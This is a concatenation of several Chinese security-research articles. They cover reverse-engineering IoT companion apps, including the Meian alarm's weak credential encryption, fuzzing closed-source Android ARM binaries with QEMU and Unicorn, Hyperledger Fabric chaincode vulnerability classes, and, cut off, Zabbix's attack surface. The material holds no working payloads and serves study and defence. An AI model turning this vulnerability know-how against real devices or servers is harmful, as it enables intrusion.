newMessageId) {
super(newMessageId);
this.type = 666;
this.mMagic = 0xC057A72A;
}
注意类型666和魔法值，可能与前面讲过的'costanza'消息相匹配。
Fota请求（id = 6）。这可能意味着空中下载更新固件。
传感器数据（请求或响应）（id = 127或128）。
滑动指示（id = 116）。
版本请求和响应（id = 4和5）。
振动请求（id = 129），其中包括振动的持续时间等。
这些消息的用法和标识符将很难通过其他方式找到（特别是在正常情况下不出现的Force
Crash消息）。同样，这也证明了通过考察移动应用来分析物联网硬件是多么的有价值。
**安全报警器**
Meian公司是一家家用安全报警器的制造商。该公司的一些报警器可通过SMS进行远程控制：您可以远程启动/停止报警器、获取其当前状态、启用/禁用某些监控区域等。当然，这些命令必须符合特定的格式，同时，还必须提供正确的密码。为了控制报警器，最终用户必须按照特定格式把相应的命令写入SMS，并将其发送到报警器。当报警器接收SMS后，会对传入的消息进行处理，并回复执行结果。由于Meian对于SMS消息的格式的要求非常严格，所以Meian专门实现了一个Android应用程序来自动格式化短信。在配置期间，最终用户需要提供报警器的具体配置：报警器的电话号码、管理密码、输入密码时可接受的延迟、紧急电话号码（如果检测到入侵，则拨打该号码）。然后，该应用程序就会提供用于启动/停止/获取警报的状态（等等）的各种按钮（参见图6），这给用户的操作带来了极大的便利。
图6：用于远程控制家用安全报警器的Android应用程序的主屏幕。
同样的，这里我们还是通过分析设备的移动应用程序来考察该设备的安全问题。这里存在两个安全问题：
短信未删除。发送的短信会继续保留在智能手机上，除非手动删除。因此，如果攻击者能够读取它的话，就能得到报警器的密码。注意，无论最终用户是否使用该应用程序（手动写入SMS），都会出现此问题。
报警器配置的弱保护。该应用程序使用了一个弱加密算法来保护配置数据（电话号码、密码、紧急电话号码和延迟。请注意，配置数据是非常敏感的，因为任何人都可以用它来控制报警器。攻击者可以轻松逆向该加密算法，从而解密所有的设置（参见图7中的概念证明）。该漏洞在2015年就报告给Meian
[23]公司了，但是一直没有回应。在Play商店中的这个应用程序仍未修复该漏洞，截至目前已被下载了1,000到5,000次。
图7：解密安全报警器的所有主要机密设置的概念证明。
这个家用安全报警器的安全状态总结在表4中。遗憾的是，它的相关移动应用实际上给该设备的安全性带来了很大的麻烦，这也正是其他物联网设备正面临的问题之一。
情形：攻击者可以获得报警器的密码或电话号码… 从发件箱的命令SMS中…？ 一旦SMS消息被删除…？
手动SMS是否
使用Meian的Android应用程序是是
表4：使用Android应用程序前后报警器的安全状况比较
**结束语**
物联网设备的安全分析具有很大的挑战性，主要是因为它们的多样性所导致的，有时研究人员根本就不知道如何开始或从哪里开始。本文表明，在这种情况下，我们不妨从相关的移动应用程序开始下手，因为它们通常会与物联网设备进行通信，这是一个不错的起点。此外，这些移动应用在物联网设备中是非常常见的。
在本文中，我们通过相关移动应用程序分析了三种不同的设备：智能牙刷，智能手表和家用安全报警器。在所有三个案例中下，我们所用的策略都能够快速揭示其安全设计、协议详细信息和相关漏洞。当然，这些信息也可以通过其他方式发现，例如蓝牙扫描和模糊测试，但这样会需要消耗更多的时间，因为我们不得不猜测多种可能，而移动应用程序逆向工程则能够直接给出结果。
事实上，物联网和移动应用程序的结合会带来多个问题。为此，供应商应该设法完善设备的安全设计和实现，以及提高相关的移动应用的安全性。注意，对代码进行模糊处理的快速修复方案将很难奏效，而应该下大力气改进安全设计和实现。另外，防病毒行业需要为IoT恶意软件做好准备，无论来自设备本身还是来自移动应用程序。这可能是安全行业的下一个主战场。
**参考文献**
[1] BI Intelligence. The internet of everything: 2015.
[http://uk.businessinsider.com/internetof-everything-2015-bi-2014-12?r=US&IR=T#like-this-decksubscribe-to-bi-intelligencebelow-6](http://uk.businessinsider.com/internetof-everything-2015-bi-2014-12?r=US&IR=T#like-this-decksubscribe-to-bi-intelligencebelow-6)
[2] StrategyAnalytics. Global Smartwatch Shipments Overtake Swiss Watch
Shipments in Q4 2015. <https://www.strategyanalytics.com/strategy-analytics/news/strategy-analyticspress-releases/strategyanalytics-press-release/2016/02/18/global-smartwatchshipments-overtake-swisswatch-shipments-in-q4-2015>#.Vs8cw0J59hH, February 2016
[3] Hewlett Packard. Internet of things research study.
[http://h20195.www2.hp.com/V2/GetDocument.aspx?docname=4AA5-4759ENW&cc=us&lc=en](http://h20195.www2.hp.com/V2/GetDocument.aspx?docname=4AA5-4759ENW&cc=us&lc=en),
2015.
[4] IDC. IDC Reveals Worldwide Internet of Things Predictions for 2015,
December 2014. <https://www.idc.com/getdoc.jsp?containerId=prUS25291514>.
[5] Accenture Consulting. Igniting growth in consumer technology.
<https://www.accenture.com/_acnmedia/PDF-3/Accenture-Igniting-Growthin-Consumer-Technology.pdf>.
[6] Baccelli, E.; Hahm, O.; Wählisch, M.; Guìnes, M.; Schmidt, T. RIOT: One OS
to Rule Them All in the IoT. Research Report RR-8176, INRIA, December 2012.
[7] Contiki: The Open Source OS for the Internet of Things.
<http://www.contiki-os.org/>.
[8] Brillo. <https://developers.google.com/brillo/>.
[9] Hernandez, G.; Arias, O.; Buentello, D.; Jin, Y. Smart Nest Thermostat: A
Smart Spy in Your Home, 2014. BlackHat US.
[10] Buentello, D. Weaponizing your coffee pot. DerbyCon, 2013.
[11] Hospira Lifecare PCA Infusion Pump 412 Telnet Service weak
authentication. CVE-2015-3459. <http://www.scip.ch/en/?vuldb.75158>.
[12] Apvrille, A. Geek usages for your Fitbit Flex tracker. Hack.lu, October
2015. <http://2015.hack.lu/archive/2015/fitbit-hackluslides.pdf>.
[13] Wueest, C. Quantified Self – A Path to Self-Enlightenment or Just a
Security Nightmare?, 2014. BlackHat Europe.
[14] Wineberg, W. Internet of Things: Hacking 14 Devices, August 2015. DEFCON
23.
[15] Miessler, D. IoT Attack Surfaces, August 2015. DEFCON 23.
[16] Costin, A.; Zaddach, J.; Francillon, A.; Balzarotti, D. A large scale
analysis of the security of embedded firmwares, 2014. BlackHat Europe.
[17] Zaddach, J.; Bruno, L.; Francillon, A.; Balzarotti, D. Avatar: A
framework to support dynamic security analysis of embedded systems' firmwares.
Network and Distributed System Security (NDSS) Symposium, NDSS 14, February
2014.
[18] Higginbotham, S. Meet a startup building an insurance business around a
connected toothbrush. Fortune. <http://fortune.com/2015/06/26/connected-toothbrush-insurance/>.
[19] Apvrille, A. Insurance Fraud via Internet of Things, July 2015.
[http://blog.fortinet.com/post/insurance-fraud-via-internetof-things](http://blog.fortinet.com/post/insurance-fraud-via-internetof-things.)
[20] Beam Technologies. <https://www.beam.dental/tech>.
[21] gattlib. <https://bitbucket.org/OscarAcena/pygattlib>.
[22] Nordic nRF Master Control Panel.
<https://www.nordicsemi.com/eng/Products/Nordic-mobile-Apps/nRF-Master-Control-Panel-application/(language)/eng-GB>.
[23] Fortinet Discovers Meian Safety Alarm Android Application Weak Credential
Encryption Vulnerability. <http://www.fortiguard.com/advisory/fortinet-discovers-meian-safety-alarm-android-application-weak-credential-encryption-vulnerability>. | 社区文章 |
**作者： Flanker
原文链接：<https://mp.weixin.qq.com/s/G26MJOH4VPene1Sd_zjEQw>**
本文 **拨开二进制Fuzzing的迷雾**
为Fuzzing战争系列的第二篇，也是[Fuzzing战争：从刀剑弓斧到星球大战](https://mp.weixin.qq.com/s?__biz=MzI3ODI4NDM2MA==&mid=2247483742&idx=1&sn=55414da793fdf882cd6a0e396857678a&scene=21#wechat_redirect)的续篇。
每个人都期待有全图点亮的体验，然而现实中安全研究的目标却更多是编译好的二进制binary而没有源码。迷雾之下崇山峻岭羊肠小道，但应许之地却往往也隐藏其中。本文将以目前最为主流的Android
on ARM/AARCH64为例，综合笔者在 MOSEC 2020 和 RWCTF Tech Forum 2021
的演讲内容，首次系统性地阐述如何实现无源码情况下的大规模Coverage-Guided
Fuzzing理论、工程和实践，和小试牛刀即发现的主流移动终端中广泛存在的真实漏洞。出于阅读体验，本篇可能会分多次发出，持续更新中。
Let's rock n' roll !
## 温故而知新
就像简陋的纸带机模型却能描述出完备的图灵机一样，一个五行的bash脚本甚至也可以成为fuzzer，当然作为一个dumb
fuzzer，直到宇宙毁灭，它也不一定能发现一个漏洞。
现代Fuzzing技术以样本为驱动，论Coverage Feedback为核心，取遗传算法为理论。获取Coverage的办法主要有三种：
1. Compiler Instrumentation w/ source, e.g GCC / LLVM
2. Hardware-tracing, e.g. Intel PT
3. binary-based: static rewrite/ dynamic tracing
相比于传统的Grammar Fuzzer, CGF
Fuzzer在每轮变异样本的输入运行后，会评估该样本是否触及了更多的代码块，从而决定是否保留它进而进行更深度的变异，从而自动构建输入样本的格式。以AFL为例，在x86形式下，其核心插桩代码逻辑如下所描述：
cur_location = <COMPILE_TIME_RANDOM>;
shared_mem[cur_location ^ prev_location]++;
prev_location = cur_location >> 1;
在有源码的情况下，基于编译器工具链的支持，我们可以很容易地在编译过程中实现以上的变更。
## Elephant in the room
但更多的时候，房间里会有这么一些闭源的大象：
1. 来自于供应链的黑盒SDK
2. 平台私有库 (例如移动设备中Qualcomm, Samsung, Apple等不开源的系统组件内容)
3. 一些即使有源码但需要特殊运行时支持的产品，或者因为部门墙而拿不到源码的自家产品 (true story)
引入注目却大部分时间让人束手无策，也少见对这方面的研究和成功实践。公开的文献中对此类目标仍然是dumb fuzz居多，
这前朝Fuzzer的剑，就斩不了本朝的binary target了么？
## Static or Dynamic? "996还是11116？"
为了解决这个问题，我们首先需要确定在无源码情况下应当如何收集Coverage。ELF/MachO的Static Rewrite和Dynamic
Tracing是我们可能的选项，那他们分别是什么，对于实际环境下的目标又应当如何选择？`是996，还是11116？`
## Static Rewrite
Static Rewrite基于Disassembling 和 Static
Patching。目标ELF/MachO/PE首先被汇编后，根据其Control Flow提取出Basic
Block。类似于孙悟空复制出六小龄童一样，我们可以在Basic
Block的edge处插入希望被执行的指令，进而获得一个新的binary，也就是所谓的`rewrite`。`AFL-DynInst`和`e9patch`
是其中的典型案例，例如`AFL-DynInst`的做法即是
.. inserting callbacks for each basic block and an initialization callback either at _init or at specified entry point ..
它的优点非常明显：对于实现较好的rewrite，目标binary在性能上具有巨大的优势。但同样地缺点也非常明显，魔鬼在于细节。
* rewrite事实上修改了目标的basic block，这意味着我们通常必须要将一些basic block进行ELF内的迁移以腾出足够的空间。那么对于主流的relocatable binary而言，这涉及到重定位会带来的一系列问题。同理上反汇编引擎需要能够尽可能地识别出控制流，否则就会出现遗漏覆盖率或者运行时崩溃。而不幸的是，目前的rewrite工具对ARM平台的binary支持并不是很好。
* 对于ARM/AARCH64的目标而言，该方法更存在一个终极悖论：在ARM server和工作站普及之前，rewrite后的binary应当在哪里运行？如果仍然需要在移动设备、开发板上运行的话，我们还是需要面临着平台本身的限制，移动设备在高负荷的Fuzzing时经常会出现过热变慢甚至变砖的情况，且从成本和物理连接上并不适合动态scale。
当然，随着ARM工作站的逐渐普及（特别是苹果M1芯片的搅局），这个状况后面可能会有所改观。但目前M1芯片的Mac产品仍不支持直接运行Android
Binary (Kernel和linker不同导致)，这也是笔者后续所关注和研究的方向。
## Dynamic Tracing
相对于静态编辑技术，Dynamic Tracing着力于运行时获取coverage信息。这也通常会有两种实现方式：
1. 基于ptrace等实施动态hook，典型案例如frida-qdbi-fuzzer，但这仍需要在同架构下运行
2. 基于QEMU实现运行时异构模拟，在模拟执行的过程中获取coverage, **这也是后面我们会提到的重点**
### QEMU stands for Quick EMUlator
QEMU通过`Translated Block`的方式提供动态二进制翻译。我们知道，任何计算机科学技术中的问题都能通过添加中间层解决，QEMU定义了`TCG
(Tiny Code Generator)`的概念作为IR中间语言，任何前端目标语言指令都会被统一翻译为标准Ops后，再通过后端的解释器翻译为Host
Machine的Target Code。
在QEMU执行目标程序时，根据指令位置查询到对应已翻译的TB会被直接执行，而未翻译的TB则会被进行实时翻译，并链入缓存序列中，如下图所示：
这种JIT的方式给了我们操作的空间，一种简单的思路是与tb挂钩，在`tb_find_slow`中直接挂钩记录当前的pc值并传递给AFL，如下图所示：
但显然这个初步的方法有很大的优化空间：
* 在`tb_find_slow`中进行记录意味着必须要禁用block chain caching，也就是说每一个block都需要跳回dispatcher查询是否被翻译过。这带来了巨大的性能回退。
* 缺乏信息回传机制，新的block/ 新的chain信息无法在多个子进程之间实现共享，避免重复劳动。
针对这两个问题，`abiondo`等提出了如下的解决方案：
1. 将记录代码下沉，迁移到TCG生成中，也就是TCG生成的ops。这样无论上层如何修改缓存方式，都仍可以精确地实现记录。
2. 通过pipe管道共享translate request。当子进程遇到新的block时，将信息发送给parent，指令parent同样进行一次翻译。
### 加速
就像计算产业的速度曾经被摩尔定律所主导，但当摩尔定律主频这个柠檬的汁被榨干之后，人们转向分布式计算和专用芯片（FPGA）。在穷尽当前系统性的措施之后，我们仍可以借用专用计算的概念来优化Fuzzer，也就是说
`如果我们关心的只是特定的代码片段，我们是否仍需要模拟整个完整的Runtime环境？`
笔者在MOSEC 2020上介绍的基于`Unicorn框架`实现的`DroidCorn`即是基于这个理念编写的改进版执行框架。它的结构如下图所示：
相比于`QEMU-usermode`,DroidCorn在如下方面进行了重写，并最终初步获得了约30%的性能提升。
* 通过Trap的形式实现Hooker，将hot functions例如heap allocators转移到host端实现，提升热点区域执行速度。
* 实现最小裁剪版的runtime和syscall handlers，支持跨内核部署和运行，减小运行开销
* 对syscall等提供沙箱保护和返回值拦截，可用于模拟特定驱动或环境。
这套框架完成了笔者在x86工作站和服务器Linux环境下运行和fuzz ARM
binary的目标，在摆脱了物理移动设备的限制之后，我们可以轻松地对其进行大规模并发Fuzz，开拓前人所未到达之领地，发现前人所未发现之漏洞。
### 加速，加速
当QEMU以上的优化做到极致，我们可能就要考虑优化QEMU本身了。在预先控制流解析的支持下，JIT编译是否可以被替换为AOT编译，就像从Dalvik到ART
runtime？这是一个开放性的话题，请读者自行思考。
## 今日把示君，谁有不平事？
以上介绍了binary
fuzzing技术的现状和笔者的思考、探索和实践。在接下来的文章中我们将进入实战环节，针对数亿移动手机中所广泛内置默认使用的闭源图片解析库进行fuzz，并分析发现的数十个远程内存破坏漏洞，i.e.
CVE-2020-12751, CVE-2020-25278, CVE-2020-12751, CVE-2021-22493。敬请期待。
本文所对应的RWCTF 2021 Tech Forum上分享的PPT可以在
<https://speakerdeck.com/flankerhqd/blowing-the-cover-of-android-binary-fuzzing>查阅。
## References
<https://github.com/lunixbochs/usercorn>
<https://github.com/AeonLucid/AndroidNativeEmu>
<https://github.com/AFLplusplus/AFLplusplus>
<https://github.com/Battelle/afl-unicorn>
<https://abiondo.me/2018/09/21/improving-afl-qemu-mode>
<https://github.com/andreafioraldi/qasan>
<https://gts3.org/~wen/assets/papers/xu:os-fuzz.pdf>
## 篇后随笔
数十年前因特网的蛮荒时代，ARPA的先贤们曾满怀信念，希望能建立一个田园牧歌的大同世界，Richard
Stallman至今仍在为了看似疯癫的信念而奔走呼号。曾经我们以为这个梦想已经越来越近，但撕裂的地缘政治和残酷的资本迅速消灭了所有的幻想。
曾经的程序员（我更愿意称为计算机工程师和科学家）是极客，是创作者，是艺术家。开源社区的蓬勃发展是他们灵感的碰撞，才华的闪光，成千上万人智慧的结晶。但很不幸的是，创作的果实被贪婪地资本所攫取，they
are taker not
giver，开源驱动的基础架构技术发展和完善让手艺人异化成了流水工。精妙的计算科学变成了CRUD的堆需求，严谨的数学计算被`7*24`人肉盯盘取代，每一个电脑配一个人，看是电脑还是人先crash。先贤图灵和冯诺依曼们若泉下有知，是否会预料到今天的局面？
愿每个人都能有时间看看天空，再次引述下天才黑客GeoHot的一句话：`I want power, not power over people, but
power over nature and the destiny of technology. I just want to know how the
things work.`
愿我们仍能记住这段话：
> Computer science is the study of algorithmic processes, computational
> machines and computation itself. As a discipline, computer science spans a
> range of topics from theoretical studies of algorithms, computation and
> information to the practical issues of implementing computational systems in
> hardware and software.
* * * | 社区文章 |
# 联盟链智能合约安全浅析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：极光@知道创宇404区块链安全研究团队
## 前言
随着区块链技术的发展，越来越多的个人及企业也开始关注区块链，而和区块链联系最为紧密的，恐怕就是金融行业了。
然而虽然比特币区块链大受热捧，但毕竟比特币区块链是属于公有区块链，公有区块链有着其不可编辑，不可篡改的特点，这就使得公有链并不适合企业使用，毕竟如果某金融企业开发出一个区块链，无法受其主观控制，那对于它的意义就不大。因此私有链就应运而生，但私有链虽然能够解决以上的问题，如果仅仅只是各个企业自己单独建立，那么还将是一个个孤岛。如果能够联合起来开发私有区块链，最好不过，联盟链应运而生。
目前已经有了很多的联盟链，比较知名的有`Hyperledger`。超级账本（Hyperledger）是Linux基金会于2015年发起的推进区块链数字技术和交易验证的开源项目，加入成员包括：IBM、Digital
Asset、荷兰银行（ABN
AMRO）、埃森哲（Accenture）等十几个不同利益体，目标是让成员共同合作，共建开放平台，满足来自多个不同行业各种用户案例，并简化业务流程。
为了提升效率，支持更加友好的设计，各联盟链在智能合约上出现了不同的发展方向。其中，`Fabric`联盟链平台智能合约具有很好的代表性，本文主要分析其智能合约安全性，其他联盟链平台合约亦如此，除了`代码语言本身`的问题，也存在`系统机制安全`，`运行时安全`，`业务逻辑安全`等问题。
## Fabric智能合约
Fabric的智能合约称为链码（chaincode），分为系统链码和用户链码。系统链码用来实现系统层面的功能，用户链码实现用户的应用功能。链码被编译成一个独立的应用程序，运行于隔离的Docker容器中。
和以太坊相比，Fabric链码和底层账本是分开的，升级链码时并不需要迁移账本数据到新链码当中，真正实现了逻辑与数据的分离，同时，链码采用Go、Java、Nodejs语言编写。
**数据流向**
Fabric链码通过gprc与peer节点交互
(1)当peer节点收到客户端请求的输入(propsal)后，会通过发送一个链码消息对象（带输入信息，调用者信息）给对应的链码。
(2)链码调用ChaincodeBase里面的invoke方法，通过发送获取数据（getState）和写入数据（putState）消息，向peer节点获取账本状态信息和发送预提交状态。
(3)链码发送最终输出结果给peer节点，节点对输入(propsal)和 输出(propsalreponse)进行背书签名，完成第一段签名提交。
(4)之后客户端收集所有peer节点的第一段提交信息，组装事务（transaction）并签名，发送事务到orderer节点排队，最终orderer产生区块，并发送到各个peer节点，把输入和输出落到账本上，完成第二段提交过程。
**链码类型**
* **用户链码**
由应用开发人员使用Go(Java/JS)语言编写基于区块链分布式账本的状态及处理逻辑，运行在链码容器中, 通过Fabric提供的接口与账本平台进行交互
* **系统链码**
负责Fabric节点自身的处理逻辑, 包括系统配置、背书、校验等工作。系统链码仅支持Go语言, 在Peer节点启动时会自动完成注册和部署。
**部署**
可以通过官方 `Fabric-samples` 部署`test-network`，需要注意的是国内网络环境对于Go编译下载第三方依赖可能出现网络超时，可以参考
[goproxy.cn](https://github.com/goproxy/goproxy.cn) 解决，成功部署后如下图：
## 语言特性问题
不管使用什么语言对智能合约进行编程，都存在其对应的语言以及相关合约标准的安全性问题。Fabric
智能合约是以通用编程语言为基础，指定对应的智能合约模块(如：Go/Java/Node.js)
* **不安全的随机数**
随机数应用广泛，最为熟知的是在密码学中的应用，随机数产生的方式多种多样，例如在Go程序中可以使用 math/rand
获得一个随机数，此种随机数来源于伪随机数生成器，其输出的随机数值可以轻松预测。而在对安全性要求高的环境中，如 UUID 的生成，Token
生成，生成密钥、密文加盐处理。使用一个能产生可能预测数值的函数作为随机数据源，这种可以预测的数值会降低系统安全性。
伪随机数是用确定性的算法计算出来自[0,1]均匀分布的随机数序列。 并不真正的随机，但具有类似于随机数的统计特征，如均匀性、独立性等。
在计算伪随机数时，若使用的初值（种子）不变，这里的“初值”就是随机种子，那么伪随机数的数序也不变。在上述代码中，通过对比两次执行结果都相同。
通过分析rand.Intn()的源码，可见，在”math/rand” 包中，如果没有设置随机种子， Int() 函数自己初始化了一个
lockedSource
后产生伪随机数，并且初始化时随机种子被设置为1。因此不管重复执行多少次代码，每次随机种子都是固定值，输出的伪随机数数列也就固定了。所以如果能猜测到程序使用的初值（种子），那么就可以生成同一数序的伪随机数。
fmt.Println(rand.Intn(100)) //
fmt.Println(rand.Intn(100)) //
fmt.Println(rand.Float64()) // 产生0.0-1.0的随机浮点数
fmt.Println(rand.Float64()) // 产生0.0-1.0的随机浮点数
jiguang@example$ go run unsafe_rand.go
81
87
0.6645600532184904
0.4377141871869802
jiguang@example$ go run unsafe_rand.go
81
87
0.6645600532184904
0.4377141871869802
jiguang@example$
* **不当的函数地址使用**
错误的将函数地址当作函数、条件表达式、运算操作对象使用，甚至参与逻辑运算，将导致各种非预期的程序行为发生。比如在如下if语句，其中`func()`为程序中定义的一个函数:
if (func == nil) {
...
}
由于使用`func`而不是`func()`，也就是使用的是`func`的地址而不是函数的返回值，而函数的地址不等于`nil`，如果用函数地址与`nil`作比较时，将使其条件判断恒为`false`。
* **资源重释放**
defer 关键字可以帮助开发者准确的释放资源，但是仅限于一个函数中。
如果一个全局对象中存储了大量需要手动释放的资源，那么编写释放函数时就很容易漏掉一些释放函数，也有可能造成开发者在某些条件语句中提前进行资源释放。
* **线程安全**
很多时候，编译器会做一些神奇的优化，导致意想不到的数据冲突，所以，只要满足“同时有多个线程访问同一段内存，且其中至少有一个线程的操作是写操作”这一条件，就需要作并发安全方面的处理。
* **内存分配**
对于每一个开发者，内存是都需要小心使用的资源，内存管理不慎极容易出现的OOM（OutOfMemoryError），内存泄露最终会导致内存溢出，由于系统中的内存是有限的，如果过度占用资源而不及时释放，最后会导致内存不足，从而无法给所需要存储的数据提供足够的内存，从而导致内存溢出。导致内存溢出也可能是由于在给数据分配大小时没有根据实际要求分配，最后导致分配的内存无法满足数据的需求，从而导致内存溢出。
var detailsID int = len(assetTransferInput.ID)
assetAsBytes := make([]int, detailsID)
如上代码，`assetTransferInput.ID`为用户可控参数，如果传入该参数的值过大，则make内存分配可能导致内存溢出。
* **冗余代码**
有时候一段代码从功能上、甚至效率上来讲都没有问题，但从可读性和可维护性来讲，可优化的地方显而易见。特别是在需要消耗gas执行代码逻辑的合约中。
if len(assetTransferInput.ID) < 0 {
return fmt.Errorf("assetID field must be a non-empty")
}
if len(assetTransferInput.ID) == 0 {
return fmt.Errorf("assetID field must be a non-empty")
}
## 运行时安全
* **整数溢出**
不管使用的何种虚拟机执行合约，各类整数类型都存在对应的存储宽度，当试图保存超过该范围的数据时，有符号数就会发生整数溢出。
涉及无符号整数的计算不会产生溢出，而是当数值超过无符号整数的取值范围时会发生回绕。如：无符号整数的最大值加1会返回0，而无符号整数最小值减1则会返回该类型的最大值。当无符号整数回绕产生一个最大值时，如果数据用于如
[]byte(string)，string([]byte)
类的内存拷贝函数，则会复制一个巨大的数据，可能导致错误或者破坏堆栈。除此之外，无符号整数回绕最可能被利用的情况之一是用于内存的分配，如使用 make()
函数进行内存分配时，当 make() 函数的参数产生回绕时，可能为0或者是一个最大值，从而导致0长度的内存分配或者内存分配失败。
智能合约中GetAssetPrice函数用于返回当前计算的差价，第228可知，`gas +
rebate`可能发生溢出，uint16表示的最大整数为65535，即大于这个数将发生无符号回绕问题：
var gas uint16 = uint16(65535)
var rebate uint16 = uint16(1)
fmt.Println(gas + rebate) // 0
var gas1 uint16 = uint16(65535)
var rebate2 uint16 = uint16(2)
fmt.Println(gas1 + rebate2) // 1
* **除数为零**
代码基本算数运算过程中，当出现除数为零的错误时，通常会导致程序崩溃和拒绝服务漏洞。
在`CreateTypeAsset`函数的第64行，通过传入参数`appraisedValue`来计算接收资产类型值，实际上，当传入参数`appraisedValue`等于17时，将发生除零风险问题。
* **忽略返回值**
一些函数具有返回值且返回值用于判断函数执行的行为，如判断函数是否执行成功，因此需要对函数的返回值进行相应的判断，以 `strconv.Atoi`
函数为例，其原型为：
`func Atoi(s string) (int, error)`如果函数执行成功，则返回第一个参数 int；如果发生错误，则返回
error，如果没有对函数返回值进行检测，那么当读取发生错误时，则可能因为忽略异常和错误情况导致允许攻击者引入意料之外的行为。
* **空指针引用**
指针在使用前需要进行健壮性检查，从而避免对空指针进行解引用操作。试图通过空指针对数据进行访问，会导致运行时错误。当程序试图解引用一个期望非空但是实际为空的指针时，会发生空指针解引用错误。对空指针的解引用会导致未定义的行为。在很多平台上，解引用空指针可能会导致程序异常终止或拒绝服务。如：在
Linux 系统中访问空指针会产生 Segmentation fault 的错误。
func (s *AssetPrivateDetails) verifyAgreement(ctx contractapi.TransactionContextInterface, assetID string, owner string, buyerMSP string) *Asset {
....
err = ctx.GetStub().PutPrivateData(assetCollection, transferAgreeKey, []byte(clientID))
if err != nil {
fmt.Printf("failed to put asset bid: %v\n", err)
return nil
}
}
// Verify transfer details and transfer owner
asset := s.verifyAgreement(
ctx, assetTransferInput.ID, asset.Owner, assetTransferInput.BuyerMSP)
var detailsID int = len(asset.ID)
* **越界访问**
越界访问是代码语言中常见的缺陷，它并不一定会造成编译错误，在编译阶段很难发现这类问题，导致的后果也不确定。当出现越界时，由于无法得知被访问空间存储的内容，所以会产生不确定的行为，可能是程序崩溃、运算结果非预期。
## 系统机制问题
* **全局变量唯一性**
全局变量不会保存在数据库中，而是存储于单个节点，如果此类节点发生故障或重启时，可能会导致该全局变量值不再与其他节点保持一致，影响节点交易。因此，从数据库读取、写入或从合约返回的数据不应依赖于全局状态变量。
* **不确定性因素**
合约变量的生成如果依赖于不确定因素(如：本节点时间戳)或者某个未在账本中持久化的变量，那么可能会因为各节点该变量的读写集不一样，导致交易验证不通过。
* **访问外部资源**
合约访问外部资源时，如第三方库，这些第三方库代码本身可能存在一些安全隐患。引入第三方库代码可能会暴露合约未预期的安全隐患，影响链码业务逻辑。
## 业务逻辑安全
* **输入参数检查不到位**
在编写智能合约时，开发者需要对每个函数参数进行合法性，预期性检查，即需要保证每个参数符合合约的实际应用场景，对输入参数检查不到位往往会导致非预期的结果。如近期爆出的`Filecoin测试网`代码中的严重漏洞，原因是
`transfer` 函数中对转账双方 `from, to` 地址检查不到位，导致了FIL无限增发。
### Before
func (vm *VM) transfer(from, to address.Address, amt types.BigInt) aerrors.ActorError {
if from == to {
return nil
}
...
}
### After
func (vm *VM) transfer(from, to address.Address, amt types.BigInt) aerrors.ActorError {
if from == to {
return nil
}
fromID, err := vm.cstate.LookupID(from)
if err != nil {
return aerrors.Fatalf("transfer failed when resolving sender address: %s", err)
}
toID, err := vm.cstate.LookupID(to)
if err != nil {
return aerrors.Fatalf("transfer failed when resolving receiver address: %s", err)
}
if fromID == toID {
return nil
}
...
}
* **函数权限失配**
Fabrci智能合约go代码实现中是根据首字母的大小写来确定可以访问的权限。如果方法名首字母大写，则可以被其他的包访问；如果首字母小写，则只能在本包中使用。因此，对于一些敏感操作的内部函数，应尽量保证方法名采用首字母小写开头，防止被外部恶意调用。
* **异常处理问题**
通常每个函数调用结束后会返回相应的返回参数，错误码，如果未认真检查错误码值而直接使用其返回参数，可能导致越界访问，空指针引用等安全隐患。
* **外部合约调用引入安全隐患**
在某些业务场景中，智能合约代码可能引入其他智能合约，这些未经安全检查的合约代码可能存在一些未预期的安全隐患，进而影响链码业务本身的逻辑。
## 总结
联盟链的发展目前还处于项目落地初期阶段，对于联盟链平台上的智能合约开发，项目方应该强化对智能合约开发者的安全培训，简化智能合约的设计，做到功能与安全的平衡，严格执行智能合约代码安全审计(自评/项目组review/三方审计)
在联盟链应用落地上，需要逐步推进，从简单到复杂，在项目开始阶段，需要设置适当的权限以防发生黑天鹅事件。
## REF
[1] Hyperledger Fabric 链码
<https://blog.51cto.com/clovemfong/2149953>
[2] fabric-samples
<https://github.com/hyperledger/fabric-samples>
[3] Fabric2.0，使用test-network
<https://blog.csdn.net/zekdot/article/details/106977734>
[4] 使用V8和Go实现的安全TypeScript运行时
<https://php.ctolib.com/ry-deno.html>
[5] Hyperledger fabric
<https://github.com/hyperledger/fabric> | 社区文章 |
**作者：Wfox@360高级攻防实验室 原文链接：<http://noahblog.360.cn/zabbixgong-ji-mian-wa-jue-yu-li-yong/>**
## 一、简介
Zabbix是一个支持实时监控数千台服务器、虚拟机和网络设备的企业级解决方案，客户覆盖许多大型企业。本议题介绍了Zabbix基础架构、Zabbix
Server攻击面以及权限后利用，如何在复杂内网环境中从Agent控制Server权限、再基于Server拿下所有内网Agent。
## 二、Zabbix监控组件
Zabbix监控系统由以下几个组件部分构成：
### 1\. Zabbix Server
Zabbix Server是所有配置、统计和操作数据的中央存储中心，也是Zabbix监控系统的告警中心。在监控的系统中出现任何异常，将被发出通知给管理员。
Zabbix Server的功能可分解成为三个不同的组件，分别为Zabbix Server服务、Web后台及数据库。
### 2\. Zabbix Proxy
Zabbix Proxy是在大规模分布式监控场景中采用一种分担Zabbix Server压力的分层结构，其多用在跨机房、跨网络的环境中，Zabbix
Proxy可以代替Zabbix Server收集性能和可用性数据，然后把数据汇报给Zabbix Server，并且在一定程度上分担了Zabbix
Server的压力。
### 3\. Zabbix Agent
Zabbix Agent部署在被监控的目标机器上，以主动监控本地资源和应用程序（硬盘、内存、处理器统计信息等）。
Zabbix Agent收集本地的状态信息并将数据上报给Zabbix Server用于进一步处理。
## 三、Zabbix网络架构
对于Zabbix Agent客户端来说，根据请求类型可分为被动模式及主动模式：
* 被动模式：Server向Agent的10050端口获取监控项数据，Agent根据监控项收集本机数据并响应。
* 主动模式：Agent主动请求Server(Proxy)的10051端口获取监控项列表，并根据监控项收集本机数据提交给Server(Proxy)
从网络部署架构上看，可分为Server-Client架构、Server-Proxy-Client架构、Master-Node-Client架构：
* Server-Client架构
最为常见的Zabbix部署架构，Server与Agent同处于内网区域，Agent能够直接与Server通讯，不受跨区域限制。
* Server-Proxy-Client架构
多数见于大规模监控需求的企业内网，其多用在跨机房、跨网络的环境，由于Agent无法直接与位于其他区域的Server通讯，需要由各区域Proxy代替收集Agent数据然后再上报Server。
## 四、Zabbix Agent配置分析
从进程列表中可判断当前机器是否已运行zabbix_agentd服务，Linux进程名为`zabbix_agentd`，Windows进程名为`zabbix_agentd.exe`。
Zabbix
